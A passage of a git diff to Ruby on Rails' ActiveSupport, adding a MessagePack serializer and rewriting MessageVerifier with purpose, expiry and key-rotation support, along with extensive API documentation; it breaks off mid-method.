+    # Implemented by ActiveSupport::Messages::RotationCoordinator#initialize
+
+    ##
+    # :method: []
+    # :call-seq: [](salt)
+    #
+    # Returns a MessageEncryptor configured with a secret derived from the
+    # given +salt+, and options from #rotate. MessageEncryptor instances will
+    # be memoized, so the same +salt+ will return the same instance.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#[]
+
+    ##
+    # :method: []=
+    # :call-seq: []=(salt, encryptor)
+    #
+    # Overrides a MessageEncryptor instance associated with a given +salt+.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#[]=
+
+    ##
+    # :method: rotate
+    # :call-seq:
+    #   rotate(**options)
+    #   rotate(&block)
+    #
+    # Adds +options+ to the list of option sets. Messages will be encrypted
+    # using the first set in the list. When decrypting, however, each set will
+    # be tried, in order, until one succeeds.
+    #
+    # Notably, the +:secret_generator+ option can specify a different secret
+    # generator than the one initially specified. The secret generator must
+    # respond to +call+, accept a salt and a +secret_length+ kwarg, and return
+    # a suitable secret (string) or secrets (array of strings). The secret
+    # generator may also accept other arbitrary kwargs.
+    #
+    # If any options match the kwargs of the operative secret generator, those
+    # options will be passed to the secret generator instead of to the message
+    # encryptor.
+    #
+    # For fine-grained per-salt rotations, a block form is supported. The block
+    # will receive the salt, and should return an appropriate options Hash. The
+    # block may also return +nil+ to indicate that the rotation does not apply
+    # to the given salt. For example:
+    #
+    #   encryptors = ActiveSupport::MessageEncryptors.new { ... }
+    #
+    #   encryptors.rotate do |salt|
+    #     case salt
+    #     when :foo
+    #       { serializer: JSON, url_safe: true }
+    #     when :bar
+    #       { serializer: Marshal, url_safe: true }
+    #     end
+    #   end
+    #
+    #   encryptors.rotate(serializer: Marshal, url_safe: false)
+    #
+    #   # Uses `serializer: JSON, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: false`.
+    #   encryptors[:foo]
+    #
+    #   # Uses `serializer: Marshal, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: false`.
+    #   encryptors[:bar]
+    #
+    #   # Uses `serializer: Marshal, url_safe: false`.
+    #   encryptors[:baz]
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#rotate
+
+    ##
+    # :method: prepend
+    # :call-seq:
+    #   prepend(**options)
+    #   prepend(&block)
+    #
+    # Just like #rotate, but prepends the given options or block to the list of
+    # option sets.
+    #
+    # This can be useful when you have an already-configured +MessageEncryptors+
+    # instance, but you want to override the way messages are encrypted.
+    #
+    #   module ThirdParty
+    #     ENCRYPTORS = ActiveSupport::MessageEncryptors.new { ... }.
+    #       rotate(serializer: Marshal, url_safe: true).
+    #       rotate(serializer: Marshal, url_safe: false)
+    #   end
+    #
+    #   ThirdParty.ENCRYPTORS.prepend(serializer: JSON, url_safe: true)
+    #
+    #   # Uses `serializer: JSON, url_safe: true`.
+    #   # Falls back to `serializer: Marshal, url_safe: true` or
+    #   # `serializer: Marshal, url_safe: false`.
+    #   ThirdParty.ENCRYPTORS[:foo]
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#prepend
+
+    ##
+    # :method: rotate_defaults
+    # :call-seq: rotate_defaults
+    #
+    # Invokes #rotate with the default options.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#rotate_defaults
+
+    ##
+    # :method: clear_rotations
+    # :call-seq: clear_rotations
+    #
+    # Clears the list of option sets.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#clear_rotations
+
+    ##
+    # :method: on_rotation
+    # :call-seq: on_rotation(&callback)
+    #
+    # Sets a callback to invoke when a message is decrypted using an option set
+    # other than the first.
+    #
+    # For example, this callback could log each time it is called, and thus
+    # indicate whether old option sets are still in use or can be removed from
+    # rotation.
+    #
+    #--
+    # Implemented by ActiveSupport::Messages::RotationCoordinator#on_rotation
+
+    ##
+    private
+      def build(salt, secret_generator:, secret_generator_options:, **options)
+        secret_length = MessageEncryptor.key_len(*options[:cipher])
+        secret = secret_generator.call(salt, secret_length: secret_length, **secret_generator_options)
+        MessageEncryptor.new(*Array(secret), **options)
+      end
+  end
+end
diff --git a/activesupport/lib/active_support/message_pack.rb b/activesupport/lib/active_support/message_pack.rb
new file mode 100644
index 0000000000000..3ce2c07b5caa0
--- /dev/null
+++ b/activesupport/lib/active_support/message_pack.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+begin
+  gem "msgpack", ">= 1.7.0"
+  require "msgpack"
+rescue LoadError => error
+  warn "ActiveSupport::MessagePack requires the msgpack gem, version 1.7.0 or later. " \
+    "Please add it to your Gemfile: `gem \"msgpack\", \">= 1.7.0\"`"
+  raise error
+end
+
+require_relative "message_pack/cache_serializer"
+require_relative "message_pack/serializer"
+
+module ActiveSupport
+  module MessagePack
+    extend Serializer
+
+    ##
+    # :singleton-method: dump
+    # :call-seq: dump(object)
+    #
+    # Dumps an object. Raises ActiveSupport::MessagePack::UnserializableObjectError
+    # if the object type is not supported.
+    #
+    #--
+    # Implemented by Serializer#dump.
+
+    ##
+    # :singleton-method: load
+    # :call-seq: load(dumped)
+    #
+    # Loads an object dump created by ::dump.
+    #
+    #--
+    # Implemented by Serializer#load.
+
+    ##
+    # :singleton-method: signature?
+    # :call-seq: signature?(dumped)
+    #
+    # Returns true if the given dump begins with an +ActiveSupport::MessagePack+
+    # signature.
+    #
+    #--
+    # Implemented by Serializer#signature?.
+
+    ActiveSupport.run_load_hooks(:message_pack, self)
+  end
+end
diff --git a/activesupport/lib/active_support/message_pack/cache_serializer.rb b/activesupport/lib/active_support/message_pack/cache_serializer.rb
new file mode 100644
index 0000000000000..a7f4958e7c527
--- /dev/null
+++ b/activesupport/lib/active_support/message_pack/cache_serializer.rb
@@ -0,0 +1,23 @@
+# frozen_string_literal: true
+
+require_relative "serializer"
+
+module ActiveSupport
+  module MessagePack
+    module CacheSerializer
+      include Serializer
+      extend self
+
+      def load(dumped)
+        super
+      rescue ActiveSupport::MessagePack::MissingClassError
+        # Treat missing class as cache miss => return nil
+      end
+
+      private
+        def install_unregistered_type_handler
+          Extensions.install_unregistered_type_fallback(message_pack_factory)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/message_pack/extensions.rb b/activesupport/lib/active_support/message_pack/extensions.rb
new file mode 100644
index 0000000000000..ce96b65d9ec4b
--- /dev/null
+++ b/activesupport/lib/active_support/message_pack/extensions.rb
@@ -0,0 +1,310 @@
+# frozen_string_literal: true
+
+require "bigdecimal"
+require "date"
+require "ipaddr"
+require "pathname"
+require "uri"
+require "msgpack/bigint"
+require "active_support/hash_with_indifferent_access"
+require "active_support/core_ext/string/output_safety"
+require "active_support/time"
+
+module ActiveSupport
+  module MessagePack
+    class UnserializableObjectError < StandardError; end
+    class MissingClassError < StandardError; end # :nodoc:
+
+    module Extensions # :nodoc:
+      extend self
+
+      def install(registry)
+        registry.register_type 0, Symbol,
+          packer: :to_msgpack_ext,
+          unpacker: :from_msgpack_ext,
+          optimized_symbols_parsing: true
+
+        registry.register_type 1, Integer,
+          packer: ::MessagePack::Bigint.method(:to_msgpack_ext),
+          unpacker: ::MessagePack::Bigint.method(:from_msgpack_ext),
+          oversized_integer_extension: true
+
+        registry.register_type 2, BigDecimal,
+          packer: :_dump,
+          unpacker: :_load
+
+        registry.register_type 3, Rational,
+          packer: method(:write_rational),
+          unpacker: method(:read_rational),
+          recursive: true
+
+        registry.register_type 4, Complex,
+          packer: method(:write_complex),
+          unpacker: method(:read_complex),
+          recursive: true
+
+        registry.register_type 5, DateTime,
+          packer: method(:write_datetime),
+          unpacker: method(:read_datetime),
+          recursive: true
+
+        registry.register_type 6, Date,
+          packer: method(:write_date),
+          unpacker: method(:read_date),
+          recursive: true
+
+        registry.register_type 7, Time,
+          packer: method(:write_time),
+          unpacker: method(:read_time),
+          recursive: true
+
+        registry.register_type 8, ActiveSupport::TimeWithZone,
+          packer: method(:write_time_with_zone),
+          unpacker: method(:read_time_with_zone),
+          recursive: true
+
+        registry.register_type 9, ActiveSupport::TimeZone,
+          packer: method(:dump_time_zone),
+          unpacker: method(:load_time_zone)
+
+        registry.register_type 10, ActiveSupport::Duration,
+          packer: method(:write_duration),
+          unpacker: method(:read_duration),
+          recursive: true
+
+        registry.register_type 11, Range,
+          packer: method(:write_range),
+          unpacker: method(:read_range),
+          recursive: true
+
+        registry.register_type 12, Set,
+          packer: method(:write_set),
+          unpacker: method(:read_set),
+          recursive: true
+
+        registry.register_type 13, URI::Generic,
+          packer: :to_s,
+          unpacker: URI.method(:parse)
+
+        registry.register_type 14, IPAddr,
+          packer: method(:write_ipaddr),
+          unpacker: method(:read_ipaddr),
+          recursive: true
+
+        registry.register_type 15, Pathname,
+          packer: :to_s,
+          unpacker: :new
+
+        registry.register_type 16, Regexp,
+          packer: :to_s,
+          unpacker: :new
+
+        registry.register_type 17, ActiveSupport::HashWithIndifferentAccess,
+          packer: method(:write_hash_with_indifferent_access),
+          unpacker: method(:read_hash_with_indifferent_access),
+          recursive: true
+
+        registry.register_type 18, ActiveSupport::SafeBuffer,
+          packer: :to_s,
+          unpacker: :new
+      end
+
+      def install_unregistered_type_error(registry)
+        registry.register_type 127, Object,
+          packer: method(:raise_unserializable),
+          unpacker: method(:raise_invalid_format)
+      end
+
+      def install_unregistered_type_fallback(registry)
+        registry.register_type 127, Object,
+          packer: method(:write_object),
+          unpacker: method(:read_object),
+          recursive: true
+      end
+
+      def write_rational(rational, packer)
+        packer.write(rational.numerator)
+        packer.write(rational.denominator) unless rational.numerator.zero?
+      end
+
+      def read_rational(unpacker)
+        numerator = unpacker.read
+        Rational(numerator, numerator.zero? ? 1 : unpacker.read)
+      end
+
+      def write_complex(complex, packer)
+        packer.write(complex.real)
+        packer.write(complex.imaginary)
+      end
+
+      def read_complex(unpacker)
+        Complex(unpacker.read, unpacker.read)
+      end
+
+      def write_datetime(datetime, packer)
+        packer.write(datetime.jd)
+        packer.write(datetime.hour)
+        packer.write(datetime.min)
+        packer.write(datetime.sec)
+        write_rational(datetime.sec_fraction, packer)
+        write_rational(datetime.offset, packer)
+      end
+
+      def read_datetime(unpacker)
+        DateTime.jd(unpacker.read, unpacker.read, unpacker.read, unpacker.read + read_rational(unpacker), read_rational(unpacker))
+      end
+
+      def write_date(date, packer)
+        packer.write(date.jd)
+      end
+
+      def read_date(unpacker)
+        Date.jd(unpacker.read)
+      end
+
+      def write_time(time, packer)
+        packer.write(time.tv_sec)
+        packer.write(time.tv_nsec)
+        packer.write(time.utc_offset)
+      end
+
+      def read_time(unpacker)
+        Time.at_without_coercion(unpacker.read, unpacker.read, :nanosecond, in: unpacker.read)
+      end
+
+      def write_time_with_zone(twz, packer)
+        write_time(twz.utc, packer)
+        write_time_zone(twz.time_zone, packer)
+      end
+
+      def read_time_with_zone(unpacker)
+        ActiveSupport::TimeWithZone.new(read_time(unpacker), read_time_zone(unpacker))
+      end
+
+      def dump_time_zone(time_zone)
+        time_zone.name
+      end
+
+      def load_time_zone(name)
+        ActiveSupport::TimeZone[name]
+      end
+
+      def write_time_zone(time_zone, packer)
+        packer.write(dump_time_zone(time_zone))
+      end
+
+      def read_time_zone(unpacker)
+        load_time_zone(unpacker.read)
+      end
+
+      def write_duration(duration, packer)
+        packer.write(duration.value)
+        packer.write(duration._parts.values_at(*ActiveSupport::Duration::PARTS))
+      end
+
+      def read_duration(unpacker)
+        value = unpacker.read
+        parts = ActiveSupport::Duration::PARTS.zip(unpacker.read).to_h
+        parts.compact!
+        ActiveSupport::Duration.new(value, parts)
+      end
+
+      def write_range(range, packer)
+        packer.write(range.begin)
+        packer.write(range.end)
+        packer.write(range.exclude_end?)
+      end
+
+      def read_range(unpacker)
+        Range.new(unpacker.read, unpacker.read, unpacker.read)
+      end
+
+      def write_set(set, packer)
+        packer.write(set.to_a)
+      end
+
+      def read_set(unpacker)
+        Set.new(unpacker.read)
+      end
+
+      def write_ipaddr(ipaddr, packer)
+        if ipaddr.prefix < 32 || (ipaddr.ipv6? && ipaddr.prefix < 128)
+          packer.write("#{ipaddr}/#{ipaddr.prefix}")
+        else
+          packer.write(ipaddr.to_s)
+        end
+      end
+
+      def read_ipaddr(unpacker)
+        IPAddr.new(unpacker.read)
+      end
+
+      def write_hash_with_indifferent_access(hwia, packer)
+        packer.write(hwia.to_h)
+      end
+
+      def read_hash_with_indifferent_access(unpacker)
+        ActiveSupport::HashWithIndifferentAccess.new(unpacker.read)
+      end
+
+      def raise_unserializable(object, *)
+        raise UnserializableObjectError, "Unsupported type #{object.class} for object #{object.inspect}"
+      end
+
+      def raise_invalid_format(*)
+        raise "Invalid format"
+      end
+
+      def dump_class(klass)
+        raise UnserializableObjectError, "Cannot serialize anonymous class" unless klass.name
+        klass.name
+      end
+
+      def load_class(name)
+        Object.const_get(name)
+      rescue NameError => error
+        if error.name.to_s == name
+          raise MissingClassError, "Missing class: #{name}"
+        else
+          raise
+        end
+      end
+
+      def write_class(klass, packer)
+        packer.write(dump_class(klass))
+      end
+
+      def read_class(unpacker)
+        load_class(unpacker.read)
+      end
+
+      LOAD_WITH_MSGPACK_EXT = 0
+      LOAD_WITH_JSON_CREATE = 1
+
+      def write_object(object, packer)
+        if object.class.respond_to?(:from_msgpack_ext)
+          packer.write(LOAD_WITH_MSGPACK_EXT)
+          write_class(object.class, packer)
+          packer.write(object.to_msgpack_ext)
+        elsif object.class.respond_to?(:json_create)
+          packer.write(LOAD_WITH_JSON_CREATE)
+          write_class(object.class, packer)
+          packer.write(object.as_json)
+        else
+          raise_unserializable(object)
+        end
+      end
+
+      def read_object(unpacker)
+        case unpacker.read
+        when LOAD_WITH_MSGPACK_EXT
+          read_class(unpacker).from_msgpack_ext(unpacker.read)
+        when LOAD_WITH_JSON_CREATE
+          read_class(unpacker).json_create(unpacker.read)
+        else
+          raise_invalid_format
+        end
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/message_pack/serializer.rb b/activesupport/lib/active_support/message_pack/serializer.rb
new file mode 100644
index 0000000000000..c5ce8e18ae0c3
--- /dev/null
+++ b/activesupport/lib/active_support/message_pack/serializer.rb
@@ -0,0 +1,63 @@
+# frozen_string_literal: true
+
+require_relative "extensions"
+
+module ActiveSupport
+  module MessagePack
+    module Serializer # :nodoc:
+      SIGNATURE = "\xCC\x80".b.freeze # == 128.to_msgpack
+      SIGNATURE_INT = 128
+
+      def dump(object)
+        message_pack_pool.packer do |packer|
+          packer.write(SIGNATURE_INT)
+          packer.write(object)
+          packer.full_pack
+        end
+      end
+
+      def load(dumped)
+        message_pack_pool.unpacker do |unpacker|
+          unpacker.feed_reference(dumped)
+          raise "Invalid serialization format" unless unpacker.read == SIGNATURE_INT
+          unpacker.full_unpack
+        end
+      end
+
+      def signature?(dumped)
+        dumped.getbyte(0) == SIGNATURE.getbyte(0) && dumped.getbyte(1) == SIGNATURE.getbyte(1)
+      end
+
+      def message_pack_factory
+        @message_pack_factory ||= ::MessagePack::Factory.new
+      end
+
+      def message_pack_factory=(factory)
+        @message_pack_pool = nil
+        @message_pack_factory = factory
+      end
+
+      delegate :register_type, to: :message_pack_factory
+
+      def warmup
+        message_pack_pool # eagerly compute
+      end
+
+      private
+        def message_pack_pool
+          @message_pack_pool ||= begin
+            unless message_pack_factory.frozen?
+              Extensions.install(message_pack_factory)
+              install_unregistered_type_handler
+              message_pack_factory.freeze
+            end
+            message_pack_factory.pool(ENV.fetch("RAILS_MAX_THREADS", 5).to_i)
+          end
+        end
+
+        def install_unregistered_type_handler
+          Extensions.install_unregistered_type_error(message_pack_factory)
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/message_verifier.rb b/activesupport/lib/active_support/message_verifier.rb
index 8419e858c675c..b89ed55f9d940 100644
--- a/activesupport/lib/active_support/message_verifier.rb
+++ b/activesupport/lib/active_support/message_verifier.rb
@@ -1,71 +1,199 @@
+# frozen_string_literal: true
+
+require "openssl"
 require "base64"
 require "active_support/core_ext/object/blank"
 require "active_support/security_utils"
+require "active_support/messages/codec"
+require "active_support/messages/rotator"
 
 module ActiveSupport
+  # = Active Support Message Verifier
+  #
   # +MessageVerifier+ makes it easy to generate and verify messages which are
   # signed to prevent tampering.
   #
+  # In a \Rails application, you can use +Rails.application.message_verifier+
+  # to manage unique instances of verifiers for each use case.
+  # {Learn more}[link:classes/Rails/Application.html#method-i-message_verifier].
+  #
   # This is useful for cases like remember-me tokens and auto-unsubscribe links
   # where the session store isn't suitable or available.
   #
-  # Remember Me:
-  #   cookies[:remember_me] = @verifier.generate([@user.id, 2.weeks.from_now])
+  # First, generate a signed message:
+  #   cookies[:remember_me] = Rails.application.message_verifier(:remember_me).generate([@user.id, 2.weeks.from_now])
   #
-  # In the authentication filter:
+  # Later verify that message:
   #
-  #   id, time = @verifier.verify(cookies[:remember_me])
-  #   if Time.now < time
+  #   id, time = Rails.application.message_verifier(:remember_me).verify(cookies[:remember_me])
+  #   if time.future?
   #     self.current_user = User.find(id)
   #   end
   #
-  # By default it uses Marshal to serialize the message. If you want to use
-  # another serialization method, you can set the serializer in the options
-  # hash upon initialization:
+  # === Signing is not encryption
+  #
+  # The signed messages are not encrypted. The payload is merely encoded (Base64 by default) and can be decoded by
+  # anyone. The signature is just assuring that the message wasn't tampered with. For example:
+  #
+  #     message = Rails.application.message_verifier('my_purpose').generate('never put secrets here')
+  #     # => "BAhJIhtuZXZlciBwdXQgc2VjcmV0cyBoZXJlBjoGRVQ=--a0c1c0827919da5e949e989c971249355735e140"
+  #     Base64.decode64(message.split("--").first) # no key needed
+  #     # => 'never put secrets here'
+  #
+  # If you also need to encrypt the contents, you must use ActiveSupport::MessageEncryptor instead.
+  #
+  # === Confine messages to a specific purpose
+  #
+  # It's not recommended to use the same verifier for different purposes in your application.
+  # Doing so could allow a malicious actor to re-use a signed message to perform an unauthorized
+  # action.
+  # You can reduce this risk by confining signed messages to a specific +:purpose+.
+  #
+  #   token = @verifier.generate("signed message", purpose: :login)
+  #
+  # Then that same purpose must be passed when verifying to get the data back out:
+  #
+  #   @verifier.verified(token, purpose: :login)    # => "signed message"
+  #   @verifier.verified(token, purpose: :shipping) # => nil
+  #   @verifier.verified(token)                     # => nil
+  #
+  #   @verifier.verify(token, purpose: :login)      # => "signed message"
+  #   @verifier.verify(token, purpose: :shipping)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+  #   @verifier.verify(token)                       # => raises ActiveSupport::MessageVerifier::InvalidSignature
+  #
+  # Likewise, if a message has no purpose it won't be returned when verifying with
+  # a specific purpose.
+  #
+  #   token = @verifier.generate("signed message")
+  #   @verifier.verified(token, purpose: :redirect) # => nil
+  #   @verifier.verified(token)                     # => "signed message"
+  #
+  #   @verifier.verify(token, purpose: :redirect)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+  #   @verifier.verify(token)                       # => "signed message"
+  #
+  # === Expiring messages
+  #
+  # By default messages last forever and verifying one year from now will still
+  # return the original value. But messages can be set to expire at a given
+  # time with +:expires_in+ or +:expires_at+.
+  #
+  #   @verifier.generate("signed message", expires_in: 1.month)
+  #   @verifier.generate("signed message", expires_at: Time.now.end_of_year)
+  #
+  # Messages can then be verified and returned until expiry.
+  # Thereafter, the +verified+ method returns +nil+ while +verify+ raises
+  # +ActiveSupport::MessageVerifier::InvalidSignature+.
+  #
+  # === Rotating keys
   #
-  #   @verifier = ActiveSupport::MessageVerifier.new('s3Krit', serializer: YAML)
+  # MessageVerifier also supports rotating out old configurations by falling
+  # back to a stack of verifiers. Call +rotate+ to build and add a verifier so
+  # either +verified+ or +verify+ will also try verifying with the fallback.
   #
-  # +MessageVerifier+ creates HMAC signatures using SHA1 hash algorithm by default.
-  # If you want to use a different hash algorithm, you can change it by providing
-  # `:digest` key as an option while initializing the verifier:
+  # By default any rotated verifiers use the values of the primary
+  # verifier unless specified otherwise.
   #
-  #   @verifier = ActiveSupport::MessageVerifier.new('s3Krit', digest: 'SHA256')
-  class MessageVerifier
+  # You'd give your verifier the new defaults:
+  #
+  #   verifier = ActiveSupport::MessageVerifier.new(@secret, digest: "SHA512", serializer: JSON)
+  #
+  # Then gradually rotate the old values out by adding them as fallbacks. Any message
+  # generated with the old values will then work until the rotation is removed.
+  #
+  #   verifier.rotate(old_secret)          # Fallback to an old secret instead of @secret.
+  #   verifier.rotate(digest: "SHA256")    # Fallback to an old digest instead of SHA512.
+  #   verifier.rotate(serializer: Marshal) # Fallback to an old serializer instead of JSON.
+  #
+  # Though the above would most likely be combined into one rotation:
+  #
+  #   verifier.rotate(old_secret, digest: "SHA256", serializer: Marshal)
+  class MessageVerifier < Messages::Codec
+    prepend Messages::Rotator
+
     class InvalidSignature < StandardError; end
 
-    def initialize(secret, options = {})
+    SEPARATOR = "--" # :nodoc:
+    SEPARATOR_LENGTH = SEPARATOR.length # :nodoc:
+
+    # Initialize a new MessageVerifier with a secret for the signature.
+    #
+    # ==== Options
+    #
+    # [+:digest+]
+    #   Digest used for signing. The default is <tt>"SHA1"</tt>. See
+    #   +OpenSSL::Digest+ for alternatives.
+    #
+    # [+:serializer+]
+    #   The serializer used to serialize message data. You can specify any
+    #   object that responds to +dump+ and +load+, or you can choose from
+    #   several preconfigured serializers: +:marshal+, +:json_allow_marshal+,
+    #   +:json+, +:message_pack_allow_marshal+, +:message_pack+.
+    #
+    #   The preconfigured serializers include a fallback mechanism to support
+    #   multiple deserialization formats. For example, the +:marshal+ serializer
+    #   will serialize using +Marshal+, but can deserialize using +Marshal+,
+    #   ActiveSupport::JSON, or ActiveSupport::MessagePack. This makes it easy
+    #   to migrate between serializers.
+    #
+    #   The +:marshal+, +:json_allow_marshal+, and +:message_pack_allow_marshal+
+    #   serializers support deserializing using +Marshal+, but the others do
+    #   not. Beware that +Marshal+ is a potential vector for deserialization
+    #   attacks in cases where a message signing secret has been leaked. <em>If
+    #   possible, choose a serializer that does not support +Marshal+.</em>
+    #
+    #   The +:message_pack+ and +:message_pack_allow_marshal+ serializers use
+    #   ActiveSupport::MessagePack, which can roundtrip some Ruby types that are
+    #   not supported by JSON, and may provide improved performance. However,
+    #   these require the +msgpack+ gem.
+    #
+    #   When using \Rails, the default depends on +config.active_support.message_serializer+.
+    #   Otherwise, the default is +:marshal+.
+    #
+    # [+:url_safe+]
+    #   By default, MessageVerifier generates RFC 4648 compliant strings which are
+    #   not URL-safe. In other words, they can contain "+" and "/". If you want to
+    #   generate URL-safe strings (in compliance with "Base 64 Encoding with URL
+    #   and Filename Safe Alphabet" in RFC 4648), you can pass +true+.
+    #   Note that MessageVerifier will always accept both URL-safe and URL-unsafe
+    #   encoded messages, to allow a smooth transition between the two settings.
+    #
+    # [+:force_legacy_metadata_serializer+]
+    #   Whether to use the legacy metadata serializer, which serializes the
+    #   message first, then wraps it in an envelope which is also serialized. This
+    #   was the default in \Rails 7.0 and below.
+    #
+    #   If you don't pass a truthy value, the default is set using
+    #   +config.active_support.use_message_serializer_for_metadata+.
+    def initialize(secret, **options)
       raise ArgumentError, "Secret should not be nil." unless secret
+      super(**options)
       @secret = secret
-      @digest = options[:digest] || "SHA1"
-      @serializer = options[:serializer] || Marshal
+      @digest = options[:digest]&.to_s || "SHA1"
     end
 
     # Checks if a signed message could have been generated by signing an object
     # with the +MessageVerifier+'s secret.
     #
-    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
-    #   signed_message = verifier.generate 'a private message'
+    #   verifier = ActiveSupport::MessageVerifier.new("secret")
+    #   signed_message = verifier.generate("signed message")
     #   verifier.valid_message?(signed_message) # => true
     #
     #   tampered_message = signed_message.chop # editing the message invalidates the signature
     #   verifier.valid_message?(tampered_message) # => false
-    def valid_message?(signed_message)
-      return if signed_message.nil? || !signed_message.valid_encoding? || signed_message.blank?
-
-      data, digest = signed_message.split("--".freeze)
-      data.present? && digest.present? && ActiveSupport::SecurityUtils.secure_compare(digest, generate_digest(data))
+    def valid_message?(message)
+      !!catch_and_ignore(:invalid_message_format) { extract_encoded(message) }
     end
 
     # Decodes the signed message using the +MessageVerifier+'s secret.
     #
-    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
+    #   verifier = ActiveSupport::MessageVerifier.new("secret")
     #
-    #   signed_message = verifier.generate 'a private message'
-    #   verifier.verified(signed_message) # => 'a private message'
+    #   signed_message = verifier.generate("signed message")
+    #   verifier.verified(signed_message) # => "signed message"
     #
     # Returns +nil+ if the message was not signed with the same secret.
     #
-    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier = ActiveSupport::MessageVerifier.new("different_secret")
     #   other_verifier.verified(signed_message) # => nil
     #
     # Returns +nil+ if the message is not Base64-encoded.
@@ -77,58 +205,173 @@ def valid_message?(signed_message)
     #
     #   incompatible_message = "test--dad7b06c94abba8d46a15fafaef56c327665d5ff"
     #   verifier.verified(incompatible_message) # => TypeError: incompatible marshal file format
-    def verified(signed_message)
-      if valid_message?(signed_message)
-        begin
-          data = signed_message.split("--".freeze)[0]
-          @serializer.load(decode(data))
-        rescue ArgumentError => argument_error
-          return if argument_error.message.include?("invalid base64")
-          raise
+    #
+    # ==== Options
+    #
+    # [+:purpose+]
+    #   The purpose that the message was generated with. If the purpose does not
+    #   match, +verified+ will return +nil+.
+    #
+    #     message = verifier.generate("hello", purpose: "greeting")
+    #     verifier.verified(message, purpose: "greeting") # => "hello"
+    #     verifier.verified(message, purpose: "chatting") # => nil
+    #     verifier.verified(message)                      # => nil
+    #
+    #     message = verifier.generate("bye")
+    #     verifier.verified(message)                      # => "bye"
+    #     verifier.verified(message, purpose: "greeting") # => nil
+    #
+    def verified(message, **options)
+      catch_and_ignore :invalid_message_format do
+        catch_and_raise :invalid_message_serialization do
+          catch_and_ignore :invalid_message_content do
+            read_message(message, **options)
+          end
         end
       end
     end
 
     # Decodes the signed message using the +MessageVerifier+'s secret.
     #
-    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
-    #   signed_message = verifier.generate 'a private message'
+    #   verifier = ActiveSupport::MessageVerifier.new("secret")
+    #   signed_message = verifier.generate("signed message")
     #
-    #   verifier.verify(signed_message) # => 'a private message'
+    #   verifier.verify(signed_message) # => "signed message"
     #
     # Raises +InvalidSignature+ if the message was not signed with the same
     # secret or was not Base64-encoded.
     #
-    #   other_verifier = ActiveSupport::MessageVerifier.new 'd1ff3r3nt-s3Krit'
+    #   other_verifier = ActiveSupport::MessageVerifier.new("different_secret")
     #   other_verifier.verify(signed_message) # => ActiveSupport::MessageVerifier::InvalidSignature
-    def verify(signed_message)
-      verified(signed_message) || raise(InvalidSignature)
+    #
+    # ==== Options
+    #
+    # [+:purpose+]
+    #   The purpose that the message was generated with. If the purpose does not
+    #   match, +verify+ will raise ActiveSupport::MessageVerifier::InvalidSignature.
+    #
+    #     message = verifier.generate("hello", purpose: "greeting")
+    #     verifier.verify(message, purpose: "greeting") # => "hello"
+    #     verifier.verify(message, purpose: "chatting") # => raises InvalidSignature
+    #     verifier.verify(message)                      # => raises InvalidSignature
+    #
+    #     message = verifier.generate("bye")
+    #     verifier.verify(message)                      # => "bye"
+    #     verifier.verify(message, purpose: "greeting") # => raises InvalidSignature
+    #
+    def verify(message, **options)
+      catch_and_raise :invalid_message_format, as: InvalidSignature do
+        catch_and_raise :invalid_message_serialization do
+          catch_and_raise :invalid_message_content, as: InvalidSignature do
+            read_message(message, **options)
+          end
+        end
+      end
     end
 
     # Generates a signed message for the provided value.
     #
-    # The message is signed with the +MessageVerifier+'s secret. Without knowing
-    # the secret, the original value cannot be extracted from the message.
+    # The message is signed with the +MessageVerifier+'s secret.
+    # Returns Base64-encoded message joined with the generated signature.
     #
-    #   verifier = ActiveSupport::MessageVerifier.new 's3Krit'
-    #   verifier.generate 'a private message' # => "BAhJIhRwcml2YXRlLW1lc3NhZ2UGOgZFVA==--e2d724331ebdee96a10fb99b089508d1c72bd772"
-    def generate(value)
-      data = encode(@serializer.dump(value))
-      "#{data}--#{generate_digest(data)}"
+    #   verifier = ActiveSupport::MessageVerifier.new("secret")
+    #   verifier.generate("signed message") # => "BAhJIhNzaWduZWQgbWVzc2FnZQY6BkVU--f67d5f27c3ee0b8483cebf2103757455e947493b"
+    #
+    # ==== Options
+    #
+    # [+:expires_at+]
+    #   The datetime at which the message expires. After this datetime,
+    #   verification of the message will fail.
+    #
+    #     message = verifier.generate("hello", expires_at: Time.now.tomorrow)
+    #     verifier.verified(message) # => "hello"
+    #     # 24 hours later...
+    #     verifier.verified(message) # => nil
+    #     verifier.verify(message)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+    #
+    # [+:expires_in+]
+    #   The duration for which the message is valid. After this duration has
+    #   elapsed, verification of the message will fail.
+    #
+    #     message = verifier.generate("hello", expires_in: 24.hours)
+    #     verifier.verified(message) # => "hello"
+    #     # 24 hours later...
+    #     verifier.verified(message) # => nil
+    #     verifier.verify(message)   # => raises ActiveSupport::MessageVerifier::InvalidSignature
+    #
+    # [+:purpose+]
+    #   The purpose of the message. If specified, the same purpose must be
+    #   specified when verifying the message; otherwise, verification will fail.
+    #   (See #verified and #verify.)
+    def generate(value, **options)
+      create_message(value, **options)
+    end
+
+    def create_message(value, **options) # :nodoc:
+      sign_encoded(encode(serialize_with_metadata(value, **options)))
+    end
+
+    def read_message(message, **options) # :nodoc:
+      deserialize_with_metadata(decode(extract_encoded(message)), **options)
+    end
+
+    def inspect # :nodoc:
+      "#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>"
     end
 
     private
-      def encode(data)
-        ::Base64.strict_encode64(data)
+      def decode(encoded, url_safe: @url_safe)
+        catch :invalid_message_format do
+          return super
+        end
+        super(encoded, url_safe: !url_safe)
       end
 
-      def decode(data)
-        ::Base64.strict_decode64(data)
+      def sign_encoded(encoded)
